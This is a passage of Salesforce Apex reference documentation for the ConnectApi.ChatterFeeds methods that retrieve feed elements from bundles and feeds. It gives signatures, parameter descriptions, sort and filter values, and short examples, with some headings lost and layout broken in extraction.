**Note:** Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that `ConnectApi.FeedItem.attachment` information and `ConnectApi.FeedElement.capabilities` information may not be available in the trigger.

**getFeedElementsFromBundle(communityId, feedElementId)**

Get feed elements from a bundle.

API Version

31.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId, String feedElementId)
```

Parameters

**communityId**
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

**feedElementId**
Type: `String`
ID of the feed element.
Return Value
Type: `ConnectApi.FeedElementPage`

`getFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize, elementsPerBundle, recentCommentCount)`

Get a page of feed elements from a bundle. Specify the number of elements per bundle and include no more than the specified number of comments per feed element.

API Version
31.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId, String feedElementId, String pageParam, Integer pageSize, Integer elementsPerBundle, Integer recentCommentCount)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedElementId`
  Type: `String`
  ID of the feed element.

- `pageParam`
  Type: `String`
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- `pageSize`
  Type: `Integer`
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- `elementsPerBundle`
  Type: `Integer`
  Maximum number of feed elements per bundle. The default and maximum value is 10.

- `recentCommentCount`
  Type: `Integer`
  Maximum number of comments to return with each feed element. The default value is 3.
Return Value
Type: `ConnectApi.FeedElementPage`

`getFeedElementsFromFeed(communityId, feedType)`

API Version
31.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedType`
  Type: `ConnectApi.FeedType`
  The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

Return Value
Type: `ConnectApi.FeedElementPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)

API Version
31.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.

Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

If feedType is DirectMessages, sortParam must be LastModifiedDateDesc.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)

getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Get a page of sorted feed elements from the Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview feeds. Each feed element contains no more than the specified number of comments.

API Version
31.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
**feedType**
Type: `ConnectApi.FeedType`

The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

**recentCommentCount**
Type: `Integer`

The maximum number of comments to return with each feed item. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`

Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`

The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`

Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value CreatedDateDesc is used.

If `feedType` is DirectMessages, `sortParam` must be LastModifiedDateDesc.

**Return Value**
Type: `ConnectApi.FeedElementPage`
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

```

`getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)`

Get a page of sorted and filtered feed elements from the `Home` feed. Each feed element contains no more than the specified number of comments.

API Version

32.0

Available to Guest Users

32.0

Requires Chatter

Yes

Signature

```
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedFilter filter)
```

Parameters

`communityId`

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

`feedType`

Type: `ConnectApi.FeedType`

The type of feed. The only valid value is `Home`.

`recentCommentCount`

Type: `Integer`

The maximum number of comments to return with each feed item. The default value is 3.

`density`

Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**

Type: **String**

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

When the `sortParam` is `MostViewed`, you must pass in `null` for the `pageParam`.

**pageSize**

Type: **Integer**

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

When the `sortParam` is `MostViewed`, the `pageSize` must be a value from 1 to 25.

**sortParam**

Type: **ConnectApi.FeedSortOrder**

Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

**filter**

Type: **ConnectApi.FeedFilter**

Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the `UserProfile` feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a `User` or a `Group` parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the `UserProfile` feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the `Record` feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
• UnansweredQuestions—Feed elements that are questions and that don’t have any answers.
• UnansweredQuestionsWithCandidateAnswers—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
• Unread—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.
• UnsolvedQuestions—Feed elements that are questions and that don’t have a best answer.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter, Boolean threadedCommentsCollapsed)
Parameters

* communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

* feedType
  Type: ConnectApi.FeedType
  The type of feed. The only valid value is Home.

* recentCommentCount
  Type: Integer
  The maximum number of comments to return with each feed item. The default value is 3.

* density
  Type: ConnectApi.FeedDensity
  Specify the amount of content in a feed.
  - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

* pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.
  When the sortParam is MostViewed, you must pass in null for the pageParam.

* pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
  When the sortParam is MostViewed, the pageSize must be a value from 1 to 25.

* sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
  - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  - CreatedDateDesc—Sorts by most recent creation date.
  - LastModifiedDateDesc—Sorts by most recent activity.
  - MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  - Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
  If you pass in null, the default value CreatedDateDesc is used.

* filter
  Type: ConnectApi.FeedFilter
  Specifies the feed filters.
- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

**threadedCommentsCollapsed**

Type: Boolean

Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

**Return Value**

Type: ConnectApi.FeedElementPage

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**

setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed, result)

Testing ConnectApi Code

**getFeedElementsFromFeed(communityId, feedType, subjectId)**

Get feed elements from any feed other than Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview for a user or record.
API Version

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

feedType
  Type: ConnectApi.FeedType
  The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration,
  DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

subjectId
  Type: String
  If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
  must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
  can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.

Example for Getting the Context User’s News Feed

ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.News, 'me');
Example for Getting Another User’s Profile Feed

```java
ConnectApi.FeedElementPage fep = 
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(), 
ConnectApi.FeedType.UserProfile, '005R0000000HwMA');
```

Example for Getting Another User’s Record Feed

```java
ConnectApi.FeedElementPage fep = 
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(), 
ConnectApi.FeedType.Record, '005R0000000HwMA');
```

### getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)

Get a page of sorted feed elements from any feed other than Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

#### API Version

31.0

#### Available to Guest Users

31.0

#### Requires Chatter

Yes

#### Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, 
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize, 
ConnectApi.FeedSortOrder sortParam)
```

#### Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  - Type: `ConnectApi.FeedType`
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

**subjectId**
Type: String
If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias `me`.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: Integer
The number of feed elements per page.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value CreatedDateDesc is used.

**Return Value**
Type: ConnectApi.FeedElementPage

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
- Get Feed Elements From a Feed
- Get Feed Elements From Another User's Feed
- `setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)`
- Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)

Get a page of sorted feed elements from any feed other than Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview. Each feed element includes no more than the specified number of comments.

API Version
31.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
- **Type:** String
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
- **Type:** Integer
- Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
- **Type:** `ConnectApi.FeedSortOrder`
- Values are:
  - **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
  - **CreatedDateDesc**—Sorts by most recent creation date.
  - **LastModifiedDateDesc**—Sorts by most recent activity.
  - **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
  - **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
- If you pass in `null`, the default value `CreatedDateDesc` is used.

**Return Value**
- **Type:** `ConnectApi.FeedElementPage`

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**

- Testing ConnectApi Code

**getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)**
Get a page of sorted feed elements from a record feed. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.
API Version
31.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
Any record ID, including a group ID.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

  Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Get a page of sorted and filtered feed elements from the UserProfile feed.

API Version
35.0
Available to Guest Users
35.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or null.

- `feedType`
  - Type: `ConnectApi.FeedType`
  - Value must be `ConnectApi.FeedType.UserProfile`.

- `subjectId`
  - Type: `String`
  - The ID of any user. To specify the context user, use the user ID or the alias `me`.

- `recentCommentCount`
  - Type: `Integer`
  - Maximum number of comments to return with each feed element. The default value is 3.

- `density`
  - Type: `ConnectApi.FeedDensity`
  - Specify the amount of content in a feed.
    - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
    - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- `pageParam`
  - Type: `String`
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- `pageSize`
  - Type: `Integer`
  - Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- `sortParam`
  - Type: `ConnectApi.FeedSortOrder`
  - Values are:
    - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, Draft, Moderation, and PendingReview feeds.
• **CreatedDateDesc**—Sorts by most recent creation date.
• **LastModifiedDateDesc**—Sorts by most recent activity.
• **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
• **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

`filter`
Type: `ConnectApi.FeedFilter`
Value must be `ConnectApi.FeedFilter.CommunityScoped` or `ConnectApi.FeedFilter.AuthoredBy`.

Return Value
Type: `ConnectApi.FeedElementPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Example
This example gets only community-specific feed elements.

```java
ConnectApi.FeedElementPage fep = ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
    ConnectApi.FeedType.UserProfile, 'me', 3, ConnectApi.FeedDensity.FewerUpdates, null, null,
    ConnectApi.FeedSortOrder.LastModifiedDateDesc,
    ConnectApi.FeedFilter.CommunityScoped);
```

SEE ALSO:
- `setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
  sortParam, filter, result)`
- Testing `ConnectApi` Code

```java
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed)
```

Get a page of feed elements with comments in a threaded style from the `UserProfile` feed.

**API Version**
44.0

**Available to Guest Users**
44.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter, Boolean threadedCommentsCollapsed)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  - Type: `ConnectApi.FeedType`
  - Value must be `ConnectApi.FeedType.UserProfile`.

- **subjectId**
  - Type: String
  - The ID of any user. To specify the context user, use the user ID or the alias me.

- **recentCommentCount**
  - Type: Integer
  - Maximum number of comments to return with each feed element. The default value is 3.

- **density**
  - Type: `ConnectApi.FeedDensity`
  - Specify the amount of content in a feed.
    - **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
    - **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- **pageParam**
  - Type: String
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- **pageSize**
  - Type: Integer
  - Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **sortParam**
  - Type: `ConnectApi.FeedSortOrder`
  - Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value CreatedDateDesc is used.

**filter**
Type: `ConnectApi.FeedFilter`
Value must be `ConnectApi.FeedFilter.CommunityScoped` or `ConnectApi.FeedFilter.AuthoredBy`.

**threadedCommentsCollapsed**
Type: `Boolean`
Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in `null`, the default is `false`.

**Return Value**
Type: `ConnectApi.FeedElementPage`

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String customFilter)

Parameters

**communityId**
- Type: String
- Use the ID for an Experience Cloud site, internal, or null.

**feedType**
- Type: ConnectApi.FeedType
- Value must be ConnectApi.FeedType.Record.

**subjectId**
- Type: String
- The ID of a case.

**recentCommentCount**
- Type: Integer
- Maximum number of comments to return with each feed element. The default value is 3.

**density**
- Type: ConnectApi.FeedDensity
- Specify the amount of content in a feed.
  - **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
- Type: String
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
- Type: Integer
- Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
- Type: ConnectApi.FeedSortOrder
- Values are:
  - **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  - **CreatedDateDesc**—Sorts by most recent creation date.
  - **LastModifiedDateDesc**—Sorts by most recent activity.
• **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.

• **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

`customFilter`

Type: `String`

Custom filter that applies only to the case feed. See `customFeedFilter` in the Metadata API Developer Guide for supported values.

Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: `ConnectApi.FeedType`
Value must be `ConnectApi.FeedType.Record`.

**subjectId**
Type: String
Any record ID, including a group ID.

**recentCommentCount**
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

**elementsPerBundle**
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
